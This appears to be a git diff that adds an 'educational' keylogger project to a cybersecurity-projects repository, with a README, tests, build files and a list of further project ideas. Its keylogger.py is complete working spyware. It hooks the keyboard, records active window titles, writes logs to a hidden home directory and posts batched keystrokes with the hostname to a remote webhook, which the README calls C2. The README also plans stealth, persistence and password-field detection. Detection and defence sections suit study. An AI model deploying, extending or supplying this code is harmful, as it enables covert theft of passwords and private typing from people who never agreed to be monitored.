[chrome.exe - Google] [ENTER] +[2025-11-12 14:30:20] [notepad.exe - Untitled] This is a test[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE] +``` + +--- + +## Technical Architecture + +### Class Structure + +``` +Keylogger (Main orchestrator) +├── KeyloggerConfig (Dataclass for configuration) +├── LogManager (File I/O and rotation) +├── WebhookDelivery (Remote C2 delivery) +├── WindowTracker (OS-specific window detection) +└── KeyEvent (Dataclass for event storage) +``` + +### How It Works + +#### 1. **Event Capture** (`pynput.keyboard.Listener`) +The keylogger uses `pynput`'s event driven model to hook into keyboard events at the OS level: + +```python +self.listener = keyboard.Listener(on_press=self._on_press) +``` + +When a key is pressed, the OS notifies `pynput`, which calls our `_on_press()` callback. + +#### 2. **Key Processing** +Raw key events are converted to human readable strings: +- **Regular characters**: `'a'`, `'B'`, `'1'`, `'@'` +- **Special keys**: `[SPACE]`, `[ENTER]`, `[BACKSPACE]` +- **Modifiers**: `[CTRL]`, `[ALT]`, `[SHIFT]` + +#### 3. **Window Context** +Platform specific APIs capture the active window: +- **Windows**: `win32gui.GetForegroundWindow()` + `psutil` +- **macOS**: `NSWorkspace.sharedWorkspace().activeApplication()` +- **Linux**: `xdotool getactivewindow getwindowname` + +Window checks are rate-limited (500ms intervals) to reduce overhead. + +#### 4. **Log Management** +Logs are written to disk with automatic rotation: + +```python +def _check_rotation(self) -> None: + current_size_mb = self.current_log_path.stat().st_size / (1024 * 1024) + if current_size_mb >= self.config.max_log_size_mb: + # Create new log file and close old one +``` + +Thread-safe writes using `threading.Lock` ensure data integrity. + +#### 5. **Remote Delivery** +Events are batched and delivered via HTTP POST: + +```python +payload = { + "timestamp": "2025-11-12T14:30:15", + "host": "victim-machine", + "events": [ + {"timestamp": "...", "key": "a", "window_title": "chrome.exe"}, + ... + ] +} +requests.post(webhook_url, json=payload) +``` + +This simulates real world C2 communication used in APT (Advanced Persistent Threat) campaigns. + +--- + +## Detection Methods + +### How to Detect Keyloggers + +#### 1. **Process Monitoring** +Look for suspicious Python processes: +```bash +# Linux/macOS +ps aux | grep python + +# Windows +tasklist | findstr python +``` + +#### 2. **Network Traffic Analysis** +Monitor outbound HTTP requests: +```bash +# Use Wireshark to inspect POST requests +# Look for JSON payloads with keyboard data +``` + +#### 3. **File System Monitoring** +Check for new log directories: +```bash +# This keylogger creates logs in: +ls -la ~/.keylogger_logs/ +``` + +#### 4. **Behavioral Analysis** +- High CPU usage from Python processes +- Unusual network connections to unknown endpoints +- Hidden console windows (Windows) + +#### 5. **Anti-Virus / EDR** +Modern EDR (Endpoint Detection and Response) solutions detect: +- `pynput` library usage patterns +- Keyboard hook installation +- Unusual file I/O patterns + +--- + +## Defense Strategies + +### For Users +1. **Use Anti Keylogger Software** + - Zemana AntiLogger + - SpyShelter + - Malwarebytes + +2. **Enable System Integrity Protection** + - Windows: Enable Secure Boot and BitLocker + - macOS: Keep SIP enabled + - Linux: Use AppArmor or SELinux + +3. **Monitor Startup Items** + ```bash + # Windows: Check Task Scheduler and Startup folder + # Linux: Check ~/.config/autostart/ + # macOS: Check System Preferences > Users > Login Items + ``` + +4. **Use Virtual Keyboards** + - For sensitive passwords, use on-screen keyboards + - Many banking sites provide virtual keypads + +### For Organizations +1. **Application Whitelisting**: Only allow approved executables +2. **Network Segmentation**: Detect unusual outbound traffic +3. **Regular Audits**: Scan for unauthorized software +4. **User Training**: Educate about phishing and social engineering +5. **Privileged Access Management**: Limit admin rights to prevent installation + +--- + +## Testing & Validation + +### Running Tests +Verify all components work correctly: +```bash +# Using Makefile +make test + +# Or run directly +python test_keylogger.py +``` + +The test suite validates: +- KeyType enum functionality +- KeyloggerConfig initialization +- KeyEvent serialization +- LogManager file operations and rotation +- WindowTracker platform detection +- WebhookDelivery buffering logic +- Key processing functions + +### Code Quality Checks +Run all linting and type checking: +```bash +# Using Makefile (recommended) +make lint + +# Or run individually +ruff check keylogger.py +pylint keylogger.py +mypy keylogger.py +``` + +### Running in Safe Mode +For learning purposes, test on an isolated VM: +```bash +# Create a test VM (VirtualBox, VMware, etc.) +# Install Python and run keylogger +# Monitor logs in real-time +tail -f ~/.keylogger_logs/keylog_*.txt +``` + +### Webhook Testing +Use a free webhook testing service: +- [webhook.site](https://webhook.site) - Get instant webhook URL +- [requestbin.com](https://requestbin.com) - Inspect HTTP requests + +Update `webhook_url` in config: +```python +config = KeyloggerConfig( + webhook_url="https://webhook.site/your-unique-id" +) +``` + +--- + +## 📊 Code Highlights + +### Modern Python 3.13+ Features + +**Native Type Hints** (no `typing` imports needed): +```python +def to_dict(self) -> dict[str, str]: # Not Dict[str, str] + return {"key": "value"} +``` + +**Union Types**: +```python +def _on_press(self, key: Key | KeyCode) -> None: # Not Union[Key, KeyCode] + ... +``` + +**Dataclasses** for clean data structures: +```python +@dataclass +class KeyEvent: + timestamp: datetime + key: str + window_title: Optional[str] = None +``` + +**Context Managers** for resource management: +```python +with self.lock: + self.logger.info(event.to_log_string()) +``` + +**Pathlib** for cross-platform file operations: +```python +self.config.log_dir / f"{self.config.log_file_prefix}_{timestamp}.txt" +``` + +--- + +## Educational Use Cases + +### 1. **Security Research** +- Study how keyloggers bypass modern security software +- Test EDR detection capabilities +- Analyze C2 communication patterns + +### 2. **Penetration Testing** +- Post-exploitation credential harvesting simulation +- Red team exercises (with authorization) +- Social engineering awareness training + +### 3. **Software Development** +- Learn event-driven programming patterns +- Practice multi-threaded application design +- Understand OS-level API interactions + +### 4. **Digital Forensics** +- Understand how attackers collect data +- Practice incident response procedures +- Learn to identify keylogger artifacts + +--- + +## Troubleshooting + +### Common Issues + +**Import Error: pynput not found** +```bash +pip install pynput +``` + +**Permission Denied (Linux/macOS)** +```bash +# May need to run with sudo for keyboard access +sudo python keylogger.py +``` + +**Window Tracking Not Working** +- **Windows**: Install `pip install pywin32 psutil` +- **macOS**: Grant accessibility permissions in System Preferences +- **Linux**: Install xdotool via package manager + +**Webhook Delivery Failing** +- Check internet connectivity +- Verify webhook URL is correct +- Test webhook with `curl`: + ```bash + curl -X POST https://your-webhook.com/log \ + -H "Content-Type: application/json" \ + -d '{"test": "data"}' + ``` + +--- + +## Project Structure + +``` +keylogger/ +├── keylogger.py # Main implementation (450+ lines) +├── test_keylogger.py # Test suite (validates all components) +├── requirements.txt # Python dependencies +├── pyproject.toml # Project config (deps, linting, type checking) +├── Makefile # Build automation (setup, test, lint) +└── README.md # This file +``` + +--- + +## Future Enhancements + +Potential features for advanced learning: +- [ ] Clipboard monitoring +- [ ] Screenshot capture on trigger words +- [ ] Process memory dumping +- [ ] Encrypted log storage +- [ ] Stealth mode (hidden console, anti-debug) +- [ ] Persistence mechanisms (Windows Registry, cron jobs) +- [ ] Mouse click coordinate logging +- [ ] Form field detection (highlight password fields) + +--- + +## References & Further Reading + +### Technical Documentation +- [pynput documentation](https://pynput.readthedocs.io/) +- [Python threading](https://docs.python.org/3/library/threading.html) +- [Python dataclasses](https://docs.python.org/3/library/dataclasses.html) + +### Security Research +- [MITRE ATT&CK: Input Capture](https://attack.mitre.org/techniques/T1056/) +- [OWASP: Keylogger Detection](https://owasp.org/www-community/attacks/Keylogger) +- [Krebs on Security: Keylogger Case Studies](https://krebsonsecurity.com/) + +### Academic Papers +- "A Survey of Keylogger Technologies" (IEEE Security & Privacy) +- "Detection of Keyloggers Using Machine Learning" (Journal of Cybersecurity) + +--- + +## Author + +Built as part of the **60 Cybersecurity Projects** repository. + +**Purpose**: Educational demonstration of offensive security techniques and defensive countermeasures. + +--- + +## License + +This project is provided for educational purposes only. Use responsibly and ethically. + +**NO WARRANTY**: This software is provided "as-is" without any warranties. The author is not responsible for any misuse or damage caused by this software. + +--- + +## Acknowledgments + +- **pynput** maintainers for the excellent keyboard library +- Security researchers who share knowledge about defensive measures +- The cybersecurity community for promoting ethical hacking practices + +*CarterPerez-dev | 2025 | CertGames.com diff --git a/PROJECTS/keylogger/keylogger.py b/PROJECTS/keylogger/keylogger.py new file mode 100644 index 00000000..acd14a24 --- /dev/null +++ b/PROJECTS/keylogger/keylogger.py @@ -0,0 +1,470 @@ +""" +CarterPerez-dev | 2025 +This keylogger demonstrates: +keyboard event capture, log management, and remote delivery + +Unauthorized use of keyloggers is illegal. +Only use on systems you own or have permission to monitor +""" + +import sys +import logging +import platform +from enum import ( + Enum, + auto, +) +from threading import ( + Event, + Lock, +) +from pathlib import Path +from datetime import datetime +from dataclasses import dataclass + + +try: + from pynput import keyboard + from pynput.keyboard import Key, KeyCode +except ImportError: + print("Error: pynput not installed. Run: pip install pynput") + sys.exit(1) + +try: + import requests +except ImportError: + print( + "Warning: requests not installed. Webhook delivery disabled" + ) + print("Run: pip install requests") + requests = None # type: ignore[assignment] + +if platform.system() == "Windows": + try: + import win32gui + import win32process + import psutil + except ImportError: + win32gui = None +elif platform.system() == "Darwin": + try: + from AppKit import NSWorkspace + except ImportError: + NSWorkspace = None +elif platform.system() == "Linux": + try: + import subprocess + except ImportError: + subprocess = None # type: ignore[assignment] + + +class KeyType(Enum): + """ + Enumeration of keyboard event types for type safety + """ + CHAR = auto() + SPECIAL = auto() + UNKNOWN = auto() + + +@dataclass +class KeyloggerConfig: + """ + Configuration for keylogger behavior + """ + log_dir: Path = Path.home() / ".keylogger_logs" + log_file_prefix: str = "keylog" + max_log_size_mb: float = 5.0 + webhook_url: str | None = None + webhook_batch_size: int = 50 + toggle_key: Key = Key.f9 + enable_window_tracking: bool = True + log_special_keys: bool = True + + def __post_init__(self): + self.log_dir.mkdir(parents = True, exist_ok = True) + + +@dataclass +class KeyEvent: + """ + Represents a single keyboard event + """ + timestamp: datetime + key: str + window_title: str | None = None + key_type: KeyType = KeyType.CHAR + + def to_dict(self) -> dict[str, str]: + """ + Convert event to dictionary for JSON serialization + """ + return { + "timestamp": self.timestamp.isoformat(), + "key": self.key, + "window_title": self.window_title or "Unknown", + "key_type": self.key_type.name.lower() + } + + def to_log_string(self) -> str: + """ + Format event as human readable log string + """ + time_str = self.timestamp.strftime("%Y-%m-%d %H:%M:%S") + window_info = f" [{self.window_title}]" if self.window_title else "" + return f"[{time_str}]{window_info} {self.key}" + + +class WindowTracker: + """ + Tracks active window titles across different operating systems + """ + @staticmethod + def get_active_window() -> str | None: + """ + Get the title of the currently active window + """ + system = platform.system() + + if system == "Windows" and win32gui: + return WindowTracker._get_windows_window() + if system == "Darwin" and NSWorkspace: + return WindowTracker._get_macos_window() + if system == "Linux": + return WindowTracker._get_linux_window() + + return None + + @staticmethod + def _get_windows_window() -> str | None: + try: + window = win32gui.GetForegroundWindow() + _, pid = win32process.GetWindowThreadProcessId(window) + process = psutil.Process(pid) + window_title = win32gui.GetWindowText(window) + return f"{process.name()} - {window_title}" if window_title else process.name( + ) + except Exception: + return None + + @staticmethod + def _get_macos_window() -> str | None: + try: + active_app = NSWorkspace.sharedWorkspace( + ).activeApplication() + return active_app.get('NSApplicationName', 'Unknown') + except Exception: + return None + + @staticmethod + def _get_linux_window() -> str | None: + try: + result = subprocess.run( + ['xdotool', + 'getactivewindow', + 'getwindowname'], + capture_output = True, + text = True, + timeout = 1, + check = False + ) + return result.stdout.strip( + ) if result.returncode == 0 else None + except Exception: + return None + + +class LogManager: + """ + Manages log file rotation and writing + """ + def __init__(self, config: KeyloggerConfig): + self.config = config + self.current_log_path = self._get_new_log_path() + self.lock = Lock() + self.logger = self._setup_logger() + + def _setup_logger(self) -> logging.Logger: + logger = logging.getLogger("keylogger") + logger.setLevel(logging.INFO) + + handler = logging.FileHandler(self.current_log_path) + handler.setFormatter(logging.Formatter('%(message)s')) + logger.addHandler(handler) + + return logger + + def _get_new_log_path(self) -> Path: + """ + Generate a new log file path with timestamp + """ + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + return self.config.log_dir / f"{self.config.log_file_prefix}_{timestamp}.txt" + + def write_event(self, event: KeyEvent) -> None: + """ + Write a keyboard event to the log file + """ + with self.lock: + self.logger.info(event.to_log_string()) + self._check_rotation() + + def _check_rotation(self) -> None: + """ + Check if log rotation is needed based on file size + """ + current_size_mb = self.current_log_path.stat( + ).st_size / (1024 * 1024) + + if current_size_mb >= self.config.max_log_size_mb: + self.logger.handlers[0].close() + self.logger.removeHandler(self.logger.handlers[0]) + + self.current_log_path = self._get_new_log_path() + handler = logging.FileHandler(self.current_log_path) + handler.setFormatter(logging.Formatter('%(message)s')) + self.logger.addHandler(handler) + + def get_current_log_content(self) -> str: + """ + Read and return the current log file content + """ + with self.lock: + return self.current_log_path.read_text(encoding = 'utf-8') + + +class WebhookDelivery: + """ + Handles batched delivery of logs to remote webhook + """ + def __init__(self, config: KeyloggerConfig): + self.config = config + self.event_buffer: list[KeyEvent] = [] + self.buffer_lock = Lock() + self.enabled = bool(config.webhook_url and requests) + + def add_event(self, event: KeyEvent) -> None: + """ + Add event to buffer and deliver if batch size reached + """ + if not self.enabled: + return + + with self.buffer_lock: + self.event_buffer.append(event) + + if len(self.event_buffer + ) >= self.config.webhook_batch_size: + self._deliver_batch() + + def _deliver_batch(self) -> None: + """ + Deliver buffered events to webhook endpoint + """ + if not self.event_buffer or not self.config.webhook_url: + return + + payload = { + "timestamp": datetime.now().isoformat(), + "host": platform.node(), + "events": + [event.to_dict() for event in self.event_buffer] + } + + try: + response = requests.post( + self.config.webhook_url, + json = payload, + timeout = 5 + ) + + if response.status_code == 200: + self.event_buffer.clear() + except Exception as e: + logging.error("Webhook delivery failed: %s", e) + + def flush(self) -> None: + """ + Force delivery of remaining buffered events + """ + with self.buffer_lock: + self._deliver_batch() + + +class Keylogger: + """ + Main keylogger class + """ + def __init__(self, config: KeyloggerConfig): + self.config = config + self.log_manager = LogManager(config) + self.webhook = WebhookDelivery(config) + self.window_tracker = WindowTracker() + + self.is_running = Event() + self.is_logging = Event() + self.listener: keyboard.Listener | None = None + + self._current_window: str | None = None + self._last_window_check = datetime.now() + + def _update_active_window(self) -> None: + """ + Update cached window title periodically + """ + if not self.config.enable_window_tracking: + return + + now = datetime.now() + if (now - self._last_window_check).total_seconds() >= 0.5: + self._current_window = self.window_tracker.get_active_window( + ) + self._last_window_check = now + + def _process_key(self, key: Key | KeyCode) -> tuple[str, KeyType]: + """ + Convert key to string representation and type + """ + special_keys = { + Key.space: "[SPACE]", + Key.enter: "[ENTER]", + Key.tab: "[TAB]", + Key.backspace: "[BACKSPACE]", + Key.delete: "[DELETE]", + Key.shift: "[SHIFT]", + Key.shift_r: "[SHIFT]", + Key.ctrl: "[CTRL]", + Key.ctrl_r: "[CTRL]", + Key.alt: "[ALT]", + Key.alt_r: "[ALT]", + Key.cmd: "[CMD]", + Key.cmd_r: "[CMD]", + Key.esc: "[ESC]", + Key.up: "[UP]", + Key.down: "[DOWN]", + Key.left: "[LEFT]", + Key.right: "[RIGHT]", + } + + if isinstance(key, Key): + if key in special_keys: + return special_keys[key], KeyType.SPECIAL + return f"[{key.name.upper()}]", KeyType.SPECIAL + + if hasattr(key, 'char') and key.char: + return key.char, KeyType.CHAR + + return "[UNKNOWN]", KeyType.UNKNOWN + + def _on_press(self, key: Key | KeyCode) -> None: + """ + Callback for key press events + """ + if key == self.config.toggle_key: + self._toggle_logging() + return + + if not self.is_logging.is_set(): + return + + self._update_active_window() + + key_str, key_type = self._process_key(key) + + if key_type == KeyType.SPECIAL and not self.config.log_special_keys: + return + + event = KeyEvent( + timestamp = datetime.now(), + key = key_str, + window_title = self._current_window, + key_type = key_type + ) + + self.log_manager.write_event(event) + self.webhook.add_event(event) + + def _toggle_logging(self) -> None: + """ + Toggle logging on/off with F9 key + """ + if self.is_logging.is_set(): + self.is_logging.clear() + print("\n[*] Logging paused. Press F9 to resume.") + else: + self.is_logging.set() + print("\n[*] Logging resumed. Press F9 to pause.") + + def start(self) -> None: + """ + Start the keylogger + """ + print("Keylogger Started") + print() + print(f"Log Directory: {self.config.log_dir}") + print( + f"Current Log: {self.log_manager.current_log_path.name}" + ) + print(f"Toggle Key: {self.config.toggle_key.name.upper()}") + print( + f"Webhook: {'Enabled' if self.webhook.enabled else 'Disabled'}" + ) + print() + print("[*] Press F9 to start/stop logging") + print("[*] Press CTRL+C to exit\n") + + self.is_running.set() + self.is_logging.set() + + self.listener = keyboard.Listener(on_press = self._on_press) + self.listener.start() + + try: + while self.is_running.is_set(): + self.listener.join(timeout = 1.0) + except KeyboardInterrupt: + self.stop() + + def stop(self) -> None: + """ + Stop the keylogger gracefully + """ + print("\n\n[*] Shutting down...") + + self.is_running.clear() + self.is_logging.clear() + + if self.listener: + self.listener.stop() + + self.webhook.flush() + + print(f"[*] Logs saved to: {self.config.log_dir}") + print("[*] Keylogger stopped.") + + +def main() -> None: + """ + Entry point with example configuration + """ + config = KeyloggerConfig( + log_dir = Path.home() / ".keylogger_logs", + max_log_size_mb = 5.0, + webhook_url = None, + webhook_batch_size = 50, + toggle_key = Key.f9, + enable_window_tracking = True, + log_special_keys = True + ) + + keylogger = Keylogger(config) + + try: + keylogger.start() + except Exception as e: + print(f"\n[!] Error: {e}") + keylogger.stop() + + +if __name__ == "__main__": + main() diff --git a/PROJECTS/keylogger/pyproject.toml b/PROJECTS/keylogger/pyproject.toml new file mode 100644 index 00000000..3a948648 --- /dev/null +++ b/PROJECTS/keylogger/pyproject.toml @@ -0,0 +1,149 @@ +[project] +name = "keylogger" +version = "1.0.0" +description = "Keylogger for security research and testing" +requires-python = ">=3.13" +authors = [ + {name = "CarerPerez-dev", email = "support@certgames.com"} +] +readme = "README.md" +license = {text = "MIT"} + +dependencies = [ + "pynput==1.8.1", + "requests==2.32.5", +] + +[project.optional-dependencies] +windows = [ + "pywin32==311", + "psutil==7.1.3", +] + +macos = [ + "pyobjc-framework-Cocoa==12.0", +] + +dev = [ + "ruff==0.14.4", + "mypy==1.18.2", + "pylint==4.0.2", + "yapf==0.43.0", +] + +[build-system] +requires = ["setuptools>=80.9.0", "wheel>=0.45.1"] +build-backend = "setuptools.build_meta" + + +[tool.setuptools] +py-modules = ["keylogger"] + + +[tool.ruff] +target-version = "py313" +line-length = 88 +indent-width = 4 +exclude = [ + ".git", + ".venv", + "__pycache__", + "venv", + "build", + "dist", +] + +[tool.ruff.lint] +select = [ + "E", # pycodestyle errors + "F", # Pyflakes + "W", # pycodestyle warnings + "B", # Bugbear + "C4", # Comprehensions + "UP", # Pyupgrade + "SIM", # Simplify + "I", # isort +] + +ignore = [ + "E501", # Line length (handled by formatter) + "I001", # Import sorting (conditional imports in try/except blocks) +] + + +[tool.mypy] +python_version = "3.13" +warn_return_any = false +warn_unused_configs = true +disallow_untyped_defs = false +disallow_incomplete_defs = false +ignore_missing_imports = true +check_untyped_defs = false +no_implicit_optional = true +warn_redundant_casts = true +warn_unused_ignores = false +warn_no_return = true +show_error_codes = true +show_column_numbers = true +pretty = true + +exclude = [ + ".venv", + "venv", +] + +[[tool.mypy.overrides]] +module = [ + "pynput.*", + "win32gui.*", + "win32process.*", + "psutil.*", + "AppKit.*", +] +ignore_missing_imports = true + + +[tool.pylint.main] +py-version = "3.13" +jobs = 4 +persistent = true +suggestion-mode = true + +ignore = [ + "venv", + ".venv", + "__pycache__", + "build", + "dist", + ".git", +] + +ignore-paths = [ + "^venv/.*", + "^.venv/.*", + "^build/.*", + "^dist/.*", +] + + +[tool.pylint.messages_control] +disable = [ + "R0902", # too-many-instance-attributes (KeyloggerConfig needs 8, Keylogger needs 9) + "R0903", # too-few-public-methods (WindowTracker is a utility class) + # Exception handling - intentional for robustness + "W0718", # broad-exception-caught (defensive programming for keylogger stability) + # Optional import false positives + "E0606", # possibly-used-before-assignment (win32gui, psutil, win32process checked with 'if') + "E0601", # used-before-assignment (NSWorkspace, subprocess checked before use) + # Style preferences + "C0111", # missing-docstring (some methods are self-explanatory) + "C0103", # invalid-name +] + + +[tool.pylint.design] +max-args = 8 +max-attributes = 10 +max-branches = 15 +max-locals = 15 +max-statements = 50 diff --git a/PROJECTS/keylogger/requirements.txt b/PROJECTS/keylogger/requirements.txt new file mode 100644 index 00000000..f63de3e5 --- /dev/null +++ b/PROJECTS/keylogger/requirements.txt @@ -0,0 +1,23 @@ +# CarterPerez-dev | 2025 +# Keylogger requirements.txt + + +pynput==1.8.1 +requests==2.32.5 + + +# Platform specific dependencies (optional but recommended) +# Windows: +# pywin32==311 +# psutil==7.1.3 + +# macOS: +# pyobjc-framework-Cocoa==12.0 + +# Optional recommened linting +# ruff==0.14.4 +# mypy==1.18.2 +# pylint==4.0.2 + +# Optional Formatter +# yapf==0.43.0 diff --git a/PROJECTS/keylogger/test_keylogger.py b/PROJECTS/keylogger/test_keylogger.py new file mode 100644 index 00000000..21893aff --- /dev/null +++ b/PROJECTS/keylogger/test_keylogger.py @@ -0,0 +1,216 @@ +""" +CarterPerez-dev | 2025 +Test suite for keylogger +""" + +import sys +import tempfile +import traceback +from pathlib import Path +from datetime import datetime +from pynput.keyboard import Key + +from keylogger import ( + Keylogger, + KeyloggerConfig, + KeyEvent, + KeyType, + LogManager, + WindowTracker, + WebhookDelivery, +) + + +def test_key_type_enum(): + """ + Test KeyType enum exists and has correct values + """ + print("Testing KeyType enum...") + assert KeyType.CHAR + assert KeyType.SPECIAL + assert KeyType.UNKNOWN + print("KeyType enum works") + + +def test_keylogger_config(): + """ + Test KeyloggerConfig dataclass initialization + """ + print("\nTesting KeyloggerConfig...") + + with tempfile.TemporaryDirectory() as tmpdir: + config = KeyloggerConfig( + log_dir = Path(tmpdir), + max_log_size_mb = 1.0, + webhook_url = "https://example.com/webhook", + webhook_batch_size = 10, + toggle_key = Key.f9, + enable_window_tracking = True, + log_special_keys = True + ) + + assert config.log_dir.exists() + assert config.max_log_size_mb == 1.0 + assert config.webhook_url == "https://example.com/webhook" + assert config.webhook_batch_size == 10 + assert config.toggle_key == Key.f9 + + print("KeyloggerConfig works") + + +def test_key_event(): + """ + Test KeyEvent dataclass and serialization + """ + print("\nTesting KeyEvent...") + + event = KeyEvent( + timestamp = datetime.now(), + key = "a", + window_title = "TestApp", + key_type = KeyType.CHAR + ) + + data = event.to_dict() + assert data["key"] == "a" + assert data["window_title"] == "TestApp" + assert data["key_type"] == "char" + assert "timestamp" in data + + log_str = event.to_log_string() + assert "a" in log_str + assert "TestApp" in log_str + + print("KeyEvent works") + + +def test_log_manager(): + """ + Test LogManager file writing and rotation + """ + print("\nTesting LogManager...") + + with tempfile.TemporaryDirectory() as tmpdir: + config = KeyloggerConfig( + log_dir = Path(tmpdir), + max_log_size_mb = 0.001 + ) + + manager = LogManager(config) + + for i in range(10): + event = KeyEvent( + timestamp = datetime.now(), + key = f"key_{i}", + window_title = "TestApp", + key_type = KeyType.CHAR + ) + manager.write_event(event) + + log_files = list(Path(tmpdir).glob("keylog_*.txt")) + assert len(log_files) > 0 + + content = manager.get_current_log_content() + assert "key_0" in content or "key_9" in content + + print("LogManager works") + + +def test_window_tracker(): + """ + Test WindowTracker (may return None if not on supported platform) + """ + print("\nTesting WindowTracker...") + + window_title = WindowTracker.get_active_window() + + # window_title can be None or a string depending on platform + assert window_title is None or isinstance(window_title, str) + + print( + f"WindowTracker works (got: {window_title or 'None (platform not supported)'})" + ) + + +def test_webhook_delivery(): + """ + Test WebhookDelivery buffering logic + """ + print("\nTesting WebhookDelivery...") + + config = KeyloggerConfig( + webhook_url = None, + webhook_batch_size = 5 + ) + + webhook = WebhookDelivery(config) + + assert not webhook.enabled + + config_with_url = KeyloggerConfig( + webhook_url = "https://example.com/webhook", + webhook_batch_size = 3 + ) + + webhook_enabled = WebhookDelivery(config_with_url) + assert webhook_enabled.enabled + + for i in range(2): + event = KeyEvent( + timestamp = datetime.now(), + key = f"k{i}", + key_type = KeyType.CHAR + ) + webhook_enabled.add_event(event) + + assert len(webhook_enabled.event_buffer) == 2 + + print("WebhookDelivery works") + + +def test_key_processing(): + """ + Test key processing would work correctly + """ + print("\nTesting key processing logic...") + + with tempfile.TemporaryDirectory() as tmpdir: + config = KeyloggerConfig(log_dir = Path(tmpdir)) + keylogger = Keylogger(config) + + key_str, key_type = keylogger._process_key(Key.enter) + assert key_str == "[ENTER]" + assert key_type == KeyType.SPECIAL + + key_str, key_type = keylogger._process_key(Key.space) + assert key_str == "[SPACE]" + assert key_type == KeyType.SPECIAL + + print("Key processing works") + + +def run_all_tests(): + """ + Run all tests + """ + print("KEYLOGGER COMPONENT TESTS") + try: + test_key_type_enum() + test_keylogger_config() + test_key_event() + test_log_manager() + test_window_tracker() + test_webhook_delivery() + test_key_processing() + + print("ALL TESTS PASSED!") + return 0 + + except Exception as e: + print(f"\n✗ TEST FAILED: {e}") + traceback.print_exc() + return 1 + + +if __name__ == "__main__": + sys.exit(run_all_tests()) diff --git a/README.md b/README.md index 72f40e37..ca9b95f9 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,40 @@ # 22 Cybersecurity Projects & 10 Certification Roadmaps by role🧙‍♂️ ## 2 of these projects I've fully built for you, with full source code and documentation so you can clone, learn, and customize!* #### View complete projects: [projects/](./projects/) + #### As time goes on I will fully build each and everyone of these projects so all 22 are available with full source code and documentation. --- + +## Table of Contents + +- [Projects](#project-ideas) + - [Beginner Projects](#beginner-projects) + - [Intermediate Projects](#intermediate-projects) + - [Advanced Projects](#advanced-projects) +- [Certification Roadmaps by Role](#certification-roadmaps-by-role) + - [SOC Analyst](#soc-analyst) + - [Penetration Tester](#penetration-tester) + - [Security Engineer](#security-engineer) + - [Incident Responder](#incident-responder) + - [Security Architect](#security-architect) + - [Cloud Security Engineer](#cloud-security-engineer) + - [GRC Analyst/Consultant](#grc-analystconsultant) + - [Threat Intelligence Analyst](#threat-intelligence-analyst) + - [Application Security](#application-security) + - [Network Engineer (Security-Focused)](#network-engineer-security-focused) +- [Cybersecurity Tools](#cybersecurity-tools) +- [Study Platforms & Courses](#study-platforms--courses) +- [Certifications & Exam Prep](#certifications--exam-prep) +- [YouTube Channels & Videos](#youtube-channels--videos) +- [Reddit Communities](#reddit-communities) +- [Security Frameworks](#security-frameworks) +- [Industry Resources](#industry-resources) +- [Cloud Certifications](#cloud-certifications) +- [CISSP Resources](#cissp-resources) +- [LinkedIn Professionals](#linkedin-professionals-to-follow) +- [Additional Learning Resources](#additional-learning-resources) + + --- # Project Ideas 👻 @@ -11,7 +43,7 @@ ### Simple Port Scanner Build a Python script using the `socket` library to test common ports (22, 80, 443, 3306, etc.) on a target IP. Implement threading or asyncio to scan multiple ports concurrently for speed. Add service detection by analyzing banner responses from open ports. -### Basic Keylogger +### Keylogger Use Python's `pynput` library to capture keyboard events and log them to a local file with timestamps. Include a toggle key (like F12) to start/stop logging. **Important**: Add clear disclaimers and only test on systems you own. ### Caesar Cipher Encoder/Decoder @@ -23,6 +55,51 @@ Use Python's `dnspython` library to query different DNS record types (A, AAAA, M ### Simple Vulnerability Scanner Build a script that checks installed software versions against a CVE database or uses `pip-audit` for Python packages. Parse system package managers (apt, yum, brew) to list installed software. Flag packages with known vulnerabilities and suggest updates. +### Metadata Scrubber Tool +Build a tool that removes metadata from files (images, PDFs, Office docs) to protect privacy. Extract and display EXIF data, GPS coordinates, author info, and edit history. Support batch processing and create sanitized copies. Add detection for hidden data in file headers and warn users about information leakage risks. + +### Network Traffic Analyzer +Use `scapy` to capture packets on local network and display protocol distribution, top talkers, and bandwidth usage. Filter by protocol (HTTP, DNS, TCP, UDP) and visualize data with simple bar charts. Add export to CSV functionality. + +### Hash Cracker +Build a basic hash cracking tool that attempts to match MD5/SHA1/SHA256 hashes against wordlists. Implement both dictionary and brute-force modes. Add salted hash support and performance metrics (hashes per second). + +### Steganography Tool +Hide secret messages inside image files using LSB (Least Significant Bit) steganography. Support PNG and BMP formats. Include both encoding and decoding functionality with password protection option. + +### MAC Address Spoofer +Create a script to change network interface MAC addresses on Linux/Windows. Include validation, backup of original MAC, and automatic restoration. Add vendor lookup to generate realistic MAC addresses. + +### File Integrity Monitor +Monitor specified directories for file changes using checksums (MD5/SHA256). Log all modifications, additions, and deletions with timestamps. Send alerts when critical system files are modified. + +### Basic Web Scraper for Security News +Scrape cybersecurity news from sites like Krebs on Security, The Hacker News, and Bleeping Computer. Parse articles, extract CVEs, and store in a database. Create a simple dashboard to view latest threats. + +### Phishing URL Detector +Analyze URLs for common phishing indicators (suspicious TLDs, typosquatting, URL shorteners). Check against safe browsing APIs (Google Safe Browsing). Display risk score with detailed analysis. + +### SSH Brute Force Detector +Monitor auth.log or secure log files for failed SSH login attempts. Detect brute force patterns and automatically add offending IPs to firewall rules. Send email alerts when attacks detected. + +### WiFi Network Scanner +Scan for nearby wireless networks and display SSIDs, signal strength, encryption types, and connected clients. Identify potentially rogue access points and weak encryption (WEP, WPA). + +### Base64 Encoder/Decoder with Detection +Create a tool that encodes/decodes Base64, Base32, and hex. Automatically detect encoding type. Add support for URL encoding and HTML entity encoding. + +### Simple Firewall Log Parser +Parse firewall logs (iptables, UFW, pfSense) and generate reports on blocked connections. Identify top attacking IPs, most targeted ports, and attack patterns. Visualize with graphs. + +### ARP Spoofing Detector +Monitor network for ARP spoofing attacks by tracking MAC-to-IP mappings. Alert when duplicate IP addresses or MAC address changes detected. Log all ARP traffic for analysis. + +### Windows Registry Change Monitor +Track changes to Windows registry keys and values. Focus on common persistence locations (Run keys, Services, Scheduled Tasks). Alert on suspicious modifications. + +### Simple Ransomware Simulator +Educational tool that demonstrates file encryption without actual harm. Encrypt test files in isolated directory with strong encryption. Include decryption capability and educational warnings. + --- ## 🔶 Intermediate Projects @@ -51,6 +128,51 @@ Create a network monitor that detects traffic spikes using packet sniffing (Scap ### Container Security Scanner Scan Docker images by parsing Dockerfiles for insecure practices (running as root, hardcoded secrets) and checking base image versions against vulnerability databases. Use Docker API to inspect running containers for exposed ports and mounted volumes. Output findings in JSON with severity ratings. +### API Rate Limiter 